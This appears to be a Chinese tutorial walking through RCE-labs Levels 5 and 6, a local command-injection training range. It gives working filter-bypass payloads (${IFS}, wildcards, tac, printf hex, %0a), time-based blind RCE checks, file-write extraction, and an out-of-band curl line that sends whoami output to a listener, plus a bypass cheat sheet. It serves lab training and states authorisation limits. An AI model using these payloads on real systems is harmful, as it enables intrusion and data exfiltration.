☰
从命令注入到RCE绕过实战:RCE-labs Level5/6过滤突破与盲注技巧
2026/10/7 10:03:12 网站建设 项目流程

有人觉得命令注入就是拼一个cat /flag进去,实际上手打一遍 RCE-labs 的 Level5 和 Level6,就会发现自己那套背下来的 payload 根本不顶用。不是命令执行不存在,而是你压根没搞清楚这一关到底禁了什么字符。RCE-labs 就是这样一套专门治"背题党"的靶场,它把远程命令执行拆成一关关的过滤挑战,Level1 到 Level4 还算基础,到了 Level5 和 Level6,过滤规则开始叠加,回显也不再那么老实,纯靠复制网上的现成 payload 基本过不去。

这次我用新号从头刷了一遍,重点把 Level5、Level6 的完整过关过程记录了下来,从环境启动、过滤规则探测,到空格和关键字的绕过姿势,再到无回显状态下的盲 RCE 判断,最后附上我实际踩过又不太好搜到的坑。适合刚接触 Web 安全、想系统训练命令注入绕过的新人,也适合已经能打 shell 但一直没搞懂"为什么这个 payload 能过那个不能过"的进阶学习者。

1. 这个靶场的定位与关卡设计

1.1 RCE-labs 是什么,为什么适合新人练手

RCE-labs 和 Sqli-labs、DVWA 是同一类东西,一个基于 Docker 部署的本地靶场,核心题材是远程命令执行(Remote Command Execution)。它有一个非常朴素的设计哲学:把 URL 参数送进后端命令执行函数,但每个关卡会在中间插入不同的过滤规则,有的过滤空格,有的过滤管道符,有的把cat、flag这种高危词直接替换成空,模拟的是开发人员自己手写黑名单时最常犯的错。

它跟 DVWA 命令注入模块最大的区别在于颗粒度。DVWA 通常只给三个等级,安全级别一调,逻辑就变了;RCE-labs 则是把一个过滤点拆成单独关卡,逐步叠加。你刷前面几关是在练单一绕过姿势,刷到 Level5 就变成了组合题,Level6 更是加入了"回显控制"的进阶玩法,等于把真实环境里 WAF 规则层层堆叠的情况还原到了本地。

环境启动没什么难度,把仓库拉下来后进入对应目录:

cd RCE-labs docker compose up -d docker ps

容器起来后,浏览器访问http://127.0.0.1:8080就能看到关卡列表。具体端口和入口路径以你本地 compose 文件为准,不同版本会有差异。我自己的建议是别用浏览器手动提交,你会被 URL 编码搞疯,后面我会具体说这个坑。最好一开始就打开 BurpSuite Repeater,或者干脆用 curl 来发请求,效率和准确性都会高很多。

另外要先声明一句:这种打法只适用于你自己搭建的靶场或者已经获得授权的测试环境,拿别人的线上业务做同样的事情,性质就完全不同了,这个底线不能破。

1.2 Level 5 和 Level 6 到底比前面难在哪

先看一个难度阶梯,方便你定位自己卡在哪个环节:

关卡大致过滤方向新人最容易卡住的地方
Level 1-2基本无过滤 / 空格忘记闭合原命令、不会看回显
Level 3关键命令只会用 cat,不会替代命令
Level 4路径分隔符不会绕过/的过滤
Level 5多个规则叠加单一姿势失效就直接懵
Level 6过滤加码 + 回显削弱不知道命令有没有执行成功

Level5 的价值在于组合。它把空格、分号、管道符、cat、flag这些过滤点放到同一次提交里,逼你必须同时解决多个问题。单独看每个过滤点都不难,难的是所有绕过手段要能在同一个 payload 里共存,不能互相打架。

Level6 则换了个方向,后台可能把回显从system()换成了exec(),只输出命令的第一行甚至什么都不输出。这时候你的核心问题从"怎么让命令执行"变成了"怎么证明命令执行了、怎么把结果捞回来"。能走到这一步,你对 RCE 的理解就上了一个台阶,不再是会拼几个符号,而是真正理解整条利用链的每一环。

2. Level 5 从探测到绕过的完整过程

2.1 先把过滤规则探测清楚,别急着背 Payload

我刷这类靶场的第一习惯永远是探测,而不是直接丢 payload。探测的目标准确说叫"补集测试":用最简单的最小命令,逐个提交特殊字符,看后端回显发生了什么变化,通过对比推算出过滤集合。

我用 curl 逐个提交了一组测试:

curl -s 'http://127.0.0.1:8080/level5/run.php' --data-urlencode 'ip=127.0.0.1' curl -s 'http://127.0.0.1:8080/level5/run.php' --data-urlencode 'ip=127.0.0.1;id' curl -s 'http://127.0.0.1:8080/level5/run.php' --data-urlencode 'ip=127.0.0.1|id' curl -s 'http://127.0.0.1:8080/level5/run.php' --data-urlencode 'ip=127.0.0.1$(id)' curl -s 'http://127.0.0.1:8080/level5/run.php' --data-urlencode 'ip=127.0.0.1`id`'

通过回显差异,可以得到几组关键结论:

  • 提交;id后,回显里没有出现uid=...,而且原命令似乎被截断成了127.0.0.1id这种形式,说明分号可能被直接删除而不是报错。
  • 提交|id时没有任何额外输出,说明管道符也在过滤名单里。
  • 提交$(id)和反引号id都没有命令展开,但这不一定代表$()被过滤,因为可能是整条输入被清掉之后,shell 拿到的是一个残缺命令。
  • 空格同样被处理了,因为我尝试127.0.0.1 id时,回显里看不到id的参数分隔效果。

如果你拉的靶场版本不同,探测结果可能不一样,但思路固定:不要一上来就试复杂 payload,先用最小对拍把黑名单范围圈出来。这一步做好了,后面所有构造都会非常顺。很多新人失败不是因为不会绕过,而是根本没确认过滤到底是"删除字符"还是"整条报错",导致猜错方向浪费大量时间。

2.2 空格绕过的三个核心姿势

空格被过滤是所有命令注入题目里的老熟人,解决思路基本就是三板斧。

第一板斧是${IFS}。这是 bash 内部字段分隔符,展开后的值就是空格。它最妙的地方在于,payload 里不存在空格这个可见字符,所以后端如果只是简单执行str_replace(' ', '', $cmd),根本拦不到它:

127.0.0.1${IFS}id

命令交给 shell 之后,${IFS}被展开成空格,实际执行的就是127.0.0.1 id,虽然前面那个不存在的 ip 会导致 ping 报错,但后面的id照常执行。这就是命令注入最常见的闭合思路。

第二板斧是$IFS$9。为什么要加$9?因为$IFSx会被 shell 当成一个名为IFSx的新变量,那等于什么都没插入;$9这种位置参数在大多数 shell 脚本里是空的,拼上去以后${IFS}$9展开成"空格加空串",效果一样是一个空格。有些场景下{}被过滤,$IFS$9写起来比${IFS}更短、更不容易被特征匹配。

第三板斧是重定向cat<flag。这个技巧专门针对读文件场景,<符号本身也能充当命令和文件参数的分隔,不需要空格。我经常在空格被严格过滤时优先用它,因为连${IFS}都不用写,命中的特征更少。

还有个备选是%09,也就是 URL 编码的 tab。但要注意,如果后端过滤用的是preg_replace('/\s/', '', ...)这类正则,tab 一样会被干掉;只有"仅删空格字符"的过滤才对%09无效。所以先确认过滤方式再选绕过姿势,比什么 payload 都试一遍高效得多。

2.3 命令和文件关键字的绕过思路

cat被过滤之后,很多新人第一反应是ca""t,这确实能绕过简单的字符串匹配,但只算其中一种思路。我有几条组合用的路线:

  • 等价命令类:不用 cat,改用tac、head、tail、more、less、nl、sort、od、xxd。tac是反着读,head读前面几行,都能把文件内容打出来。真实环境里不一定全都有,所以我会在探测阶段顺手确认目标环境存在哪些命令。
  • 引号拼接类:c""at、c'a't,bash 会把这些连续字符串拼成cat。黑名单做的是str_replace('cat', '', $input)这种简单匹配时,它查不到"引号包裹着的 c a t",于是成功绕过。
  • 变量拼接类:a=fl;b=ag;cat $a$b,但如果分号也被过滤,就要搭配换行符%0a或者$()来构造。
  • 通配符类:命令可以用c?t、ca*,文件名可以用fla*、fl??。?只能匹配一个字符,*匹配任意长度字符。这套方案对付flag字面量过滤尤其好用,因为fla*不是flag,但在 shell 展开后能匹配到flag文件。
  • 转义输出类:$(printf "\x63\x61\x74")利用 printf 的十六进制转义,把cat变成\x63\x61\x74,黑名单里如果没有这段特定字符串,就会漏过去。

我自己的选择优先级是:先试通配符,因为最省事;不行再上替代命令;再不行上引号拼接。为什么?因为通配符不需要额外字符配合,不容易和其他过滤点冲突。比如tac fla*这个组合,一次解决了命令过滤和文件名字段过滤两个问题。

2.4 一套直接可用的 Level 5 组合 Payload

确认了几个关键信息后,我最终的 Level5 payload 很简单:

curl -s 'http://127.0.0.1:8080/level5/run.php' --data-urlencode 'ip=127.0.0.1${IFS}tac${IFS}fla*'

拆开解释一下:

  1. ${IFS}替代了空格,所以整条命令里没有任何空格字符。
  2. tac替代了cat,绕开命令关键字过滤。
  3. fla*替代flag字面量,让文件名不是黑名单里的精确词,但 shell 通配符能匹配到flag文件。

如果你那边的关卡把*也过滤了,可以把文件名部分改成fla''g或者fla"g,利用空引号拼接躲过字面量匹配。再不行就换成十六进制 payload:

ip=127.0.0.1$(printf${IFS}'\x74\x61\x63')${IFS}fl??

这里的\x74\x61\x63是tac的十六进制,printf把它还原成命令,$()让 shell 执行。这个 payload 的特征比第一种更少,但要求$()、单引号、反斜杠都没被过滤,所以一般作为后备方案。

整个 Level5 的尝试过程可以总结成一张表:

尝试结果结论
127.0.0.1;id无回显,命令被拼接成残缺内容分号被过滤
127.0.0.1|id无额外输出管道符被过滤
127.0.0.1${IFS}id看到id输出空格可被${IFS}替换
127.0.0.1${IFS}tac${IFS}fla*拿到 flag过关

这才是打靶的正确姿势:不是撞运气,是把每一次尝试都变成一个缩小范围的实验。

3. Level 6 升级玩法:半回显与盲 RCE

3.1 先接受一个现实:回显不再是全部

Level6 给我的第一感觉是"怎么什么都没输出"。提交id以后,页面上只看到 ping 的统计信息,没有 uid。看了下题目逻辑,估计后台从system()换成了exec(),只把命令第一行输出塞进变量里打到页面上,其他输出全被吞了。再加上过滤规则继续加码,很多在 Level5 里管用的姿势到这里都要重新调整。

这种设计非常贴近真实漏洞利用。真实业务系统里,命令执行后回显直接出现在网页上的情况少之又少,更多是命令悄悄执行了,页面毫无反应。你能利用的只有时间差异、异常行为、或者某些可以观测的副作用。Level6 训练的就是这件事:在没有直接回显的情况下,怎么判断命令真的执行了,怎么把需要的内容拿回来。

3.2 时间盲注和布尔盲注:先证明命令能执行

第一步永远是确认 RCE 是否存在。最简单的方法是 sleep:

curl -s -o /dev/null -w '耗时:%{time_total}\n' \ 'http://127.0.0.1:8080/level6/run.php' \ --data-urlencode 'ip=127.0.0.1%0asleep${IFS}5'

如果响应时间接近 5 秒甚至更长,说明sleep命令已经成功执行,RCE 确定存在。这里的核心是对比:先不带 sleep 测一次,拿到正常请求耗时作为基线;再带上 sleep 测一次,多次重复,排除网络抖动。只看单次请求就下结论是最容易翻车的,后面 4.2 会说这个坑。

确认 RCE 存在后,可以继续用"布尔盲注"思路,让命令执行结果决定是否触发延迟。比如判断某个文件是否存在:

ip=127.0.0.1%0aif${IFS}[${IFS}-f${IFS}/tmp/flag6.txt];then${IFS}sleep${IFS}3;fi

这段命令里没有空格,空格全部用${IFS}顶替;[是 test 命令的别名,-f判断文件是否存在。如果/tmp/flag6.txt存在,命令会 sleep 3 秒;不存在,请求瞬间返回。通过响应时间差异,你就把"命令执行"变成了一台逻辑判断器,可以一点点探测目标文件系统的信息。

3.3 外带与写文件:把结果从看不到的地方捞出来

能证明命令执行只是起手式,Level6 最终目标是把 flag 内容弄出来。没有回显的情况下,两条路比较好走。

第一条路是写文件。如果知道 Web 根目录的位置,并且当前用户有写权限,直接把命令输出写成一个可访问的文件:

ip=127.0.0.1%0aecho${IFS}ok${IFS}>${IFS}/var/www/html/proof.txt

然后浏览器访问http://127.0.0.1:8080/proof.txt,看到ok就说明写入成功。更通用一点的做法是先写再读:

ip=127.0.0.1%0aecho${IFS}flag_is_here${IFS}>${IFS}/tmp/out.txt%0atac${IFS}/tmp/out.txt

先用第一条命令把内容落到/tmp/out.txt,再用tac把它读出来。如果后台exec()只保留第一行输出,这条链路依然能看到文件内容,因为最后输出的就是tac的结果。如果/被过滤,就把绝对路径拆开用通配符或相对路径,比如先cd /tmp再tac out.txt,这个思路和 Level4 是相通的。

第二条路是外带,把命令输出直接送到你能收到的地方。我在本机或授权可控的服务器上开监听:

nc -lvnp 8088

然后提交:

ip=127.0.0.1%0acurl${IFS}http://你的IP:8088/$(whoami)

这样whoami的输出会拼到 URL 路径里发出去,监听窗口能看到GET /root HTTP/1.1之类的请求,就拿到了命令结果。这个办法很直观,但依赖两个条件:目标环境能出网访问你的机器,且中间没有 HTTP 代理拦掉特殊路径。如果出网受限,这条路就走不通。

再次强调,外带手法只能在本地靶场或你自己有授权的环境里用。对未授权目标做外带,等于把对方服务器的数据主动往外传,这是性质非常严重的行为。打靶归打靶,边界不能丢。

3.4 Level 6 的实际 Payload 设计记录

我根据自己的理解,把 Level6 的过滤情况模拟成"空格、分号、管道符、cat、flag被过滤,但/、${}、>、<还保留"。在这个前提下,设计这么一条链路比较稳:

# 第一步:写文件到临时目录 ip=127.0.0.1%0aecho${IFS}done${IFS}>${IFS}/tmp/pwn.txt # 第二步:读回文件内容 ip=127.0.0.1%0atac${IFS}/tmp/pwn.txt

如果tac也被过滤,就把第二步换成nl /tmp/pwn.txt或od -c /tmp/pwn.txt。od输出的十六进制也能还原出内容,很多时候反而是最可靠的兜底方案。

如果你只想确认 RCE 是否存在,不急着拿 flag,那时间盲注的 payload 就是最精简的一行:

127.0.0.1%0asleep${IFS}5

用 curl 的-w '%{time_total}'看耗时,5 秒以上的延迟就是最明确的信号。这套方法在后续任何无回显 RCE 题目里都能复用,值得练熟。

4. 踩坑记录与排查技巧实录

4.1 坑一:终端把${IFS}当变量展开,发出去的并不是你想发的

用 curl 打靶的时候,如果你把 URL 直接写在双引号或裸命令里,bash 会在发送前对${IFS}做本地变量展开,展开后就是一个空格。也就是说,你本意是发${IFS}给后端,实际发到后端的却是普通空格。后端过滤规则一看空格,删除,payload 失效,你在外面排查半天不知道问题出在哪。

我自己的解决办法是:curl 的 URL 参数一律用--data-urlencode包一层单引号,例如:

curl -s 'http://127.0.0.1:8080/level5/run.php' \ --data-urlencode 'ip=127.0.0.1${IFS}tac${IFS}fla*'

BurpSuite 用户则要检查 Repeater 发送前有没有自动解码。判断这种问题最简单的方法:抓包看后端实际收到的参数值是什么。如果里面已经变成空格,说明本地 shell 已经先替你"翻译"了。

4.2 坑二:浏览器缓存和代理干扰时间盲注的判断

刷 Level6 的时候,我用浏览器刷新页面配合 sleep payload 测试,结果无论怎么提交,页面耗时都恒定在几十毫秒,差点以为命令没执行。后来才发现是浏览器缓存和本地代理扩展在作怪,旧页面一直被复用,根本没发起新请求。

换成 curl 之后就正常了。正确的时间盲注测法要遵守几个原则:

  1. 先用不带 payload 的正常请求测 Baseline,记录耗时;
  2. 再测带 sleep 的 payload,看延迟增量是否接近 sleep 时长;
  3. 重复三次取稳定结论,避免一次抖动干扰判断;
  4. 用-o /dev/null -w '%{time_total}'只看耗时,别被页面内容干扰。

这套流程和 SQL 时间盲注完全同构,核心还是那句:有对比才有结论。

4.3 坑三:把"正则清空"误判成"单个字符被删除"

有些关卡的后台不是逐字符str_replace,而是直接用正则把一整段危险表达式替换为空。比如preg_replace('/[;&|\s]/', '', $cmd)这种,会把分号、竖线、空格、反引号全部吃掉。你提交127.0.0.1;id,后端可能直接把;删掉,变成127.0.0.1id`,看起来就像命令没执行,其实它确实执行了,只是被过滤规则拼接成了一个不存在的命令。

排查方法:提交127.0.0.1AAAA这种纯无害字符,确认后端不会改动普通的字母串;再提交127.0.0.1;AAAAAA,观察A是否也跟着消失。如果A都没了,说明可能是更粗粒度的正则替换,不是单一字符删除。这种情况下就不要继续用;、|这类容易被正则批量处理的连接符,改用换行符%0a或者$()子命令,避开整个正则。

4.4 坑四:外带通道不先自测,payload 再对也是无用功

Level6 外带失败时,很多新人会怀疑命令没执行,实际上更常见的是通道问题。我之前开好 nc 监听,结果一个包都没收到,折腾半天后发现靶场容器跑在一个隔离网段里,宿主机的防火墙把我监听端口当陌生流量丢掉了,和 payload 本身毫无关系。

所以打外带 payload 之前先做三件事:

# 1. 本机确认端口在听 ss -ltnp | grep 8088 # 2. 在靶场侧主动测连通性(如果你能执行命令) curl http://你的IP:8088/test # 3. 临时把防火墙关掉或放行端口,打完再恢复

先通了再打 payload,能省下大把排查时间。如果是纯本地 Docker 靶场,最简单的替代方案永远是写文件回显,不依赖任何外网通道。

4.5 命令注入绕过速查表

每次打类似的靶场,我都会把常用绕过姿势整理成一张表,这里直接分享出来:

过滤内容快速姿势注意事项
空格${IFS}、$IFS$9、<重定向、%09${IFS}依赖 bash,部分 sh 不支持
分号 / 管道符%0a换行符、$()、&&(若未禁)换行符需要能被后端 shell 解释
cat命令tac、head、tail、nl、od、xxd先确认替代命令存在于目标环境
命令字面量c""at、c'a't、变量拼接只对简单字符串黑名单有效
flag文件名字段fl*、fl??、fla''g通配符要能匹配到唯一结果
/路径分隔符$(printf '/')、先cd再用相对路径复杂方案容易触发其他过滤规则

这张表看起来简单,但每一次打靶都能用到。它的核心是区分"黑名单过滤的是字符还是语义":字符串黑名单吃cat这个字面量,引号拼接就能绕;正则黑名单吃整个危险表达式,就要换思路。

5. 打完这两个 Level,我再多说几句

如果你也刷到了 Level5、Level6,而且顺利打穿了,我强烈建议别急着做下一件事,先花半小时做复盘。

第一件事,把每一关的 PHP 源码扒出来看一遍。RCE-labs 的好处就是源码全开源,你打完再对照源码看过滤逻辑,会发现在探测阶段很多奇怪的回显现象瞬间有了答案:为什么分号删了会变成命令残缺?为什么$()没展开?全是后端过滤规则的设计细节。把"关卡 - 过滤规则 - 绕过点 - 最终 payload"记成一张表,下次碰到新靶场,你只要看几个输入输出就能猜出后台大概怎么写。

第二件事,把整个利用链串起来。Level6 已经逼着你走了"确认命令执行、找地方落文件、访问落地文件"这套完整链路。你可以试着把它写成一个十几行的脚本,输入目标 URL,自动完成探测、写文件、读内容全流程。这比手动一步一步提交高效得多,也是从做题思维走向实战思维的关键一步。

第三件事,向更深处扩展。可以动手改 RCE-labs 源码,自己加一个 Level7:过滤所有字母数字之外的符号、限制命令长度 15 字节,或者隐藏全部回显。你会发现过滤器越严格,构造 payload 的过程越像解谜,但也越接近真实环境里的约束。

说一句实在的体会。我一开始打这个靶场也翻车过不少次,尤其是 Level6,你说不准它到底给不给回显,只能一遍遍用时间盲注去猜,猜完又得想办法把结果捞回来。但恰恰是这种"看不见也要想办法看见"的过程,让 RCE 从书本上的知识点变成了真正的手感。打好这两个关卡,你在命令注入这条路上的底子就算打扎实了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询